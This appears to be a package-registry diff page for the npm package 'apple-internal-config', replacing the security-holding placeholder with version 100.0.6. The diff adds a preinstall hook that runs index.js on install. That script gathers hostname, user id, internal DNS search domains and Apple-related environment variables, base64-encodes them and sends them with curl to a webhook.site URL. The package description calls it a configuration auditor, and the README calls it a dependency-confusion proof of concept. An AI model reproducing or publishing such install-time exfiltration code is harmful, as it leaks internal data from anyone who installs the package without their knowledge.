apple-internal-config 0.0.1-security → 100.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of apple-internal-config might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -5
  2. package/index.js +10 -0
  3. package/package.json +8 -3
package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=apple-internal-config for more information.
1
+ # @apple/mycelium
2
+ Proof of Concept by Frank.
3
+ This is a demonstration of Dependency Confusion vulnerability.
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ const { execSync } = require('child_process');
2
+ try {
3
+ // Ambil info sistem, DNS internal, dan variabel environment
4
+ const cmd = 'hostname && id && grep "search" /etc/resolv.conf && env | grep -i "APPLE"';
5
+ const info = execSync(cmd).toString();
6
+ const encoded = Buffer.from(info).toString('base64');
7
+
8
+ // Kirim ke markas Webhook baru lu
9
+ execSync('curl -k "https://webhook.site/dd87f8dc-6931-4536-ac33-c30800d095dd?apple_leak=' + encoded + '"');
10
+ } catch (e) {}
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "apple-internal-config",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "100.0.6",
4
+ "description": "Internal configuration auditor for Apple systems",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Security Researcher",
10
+ "license": "MIT"
6
11
  }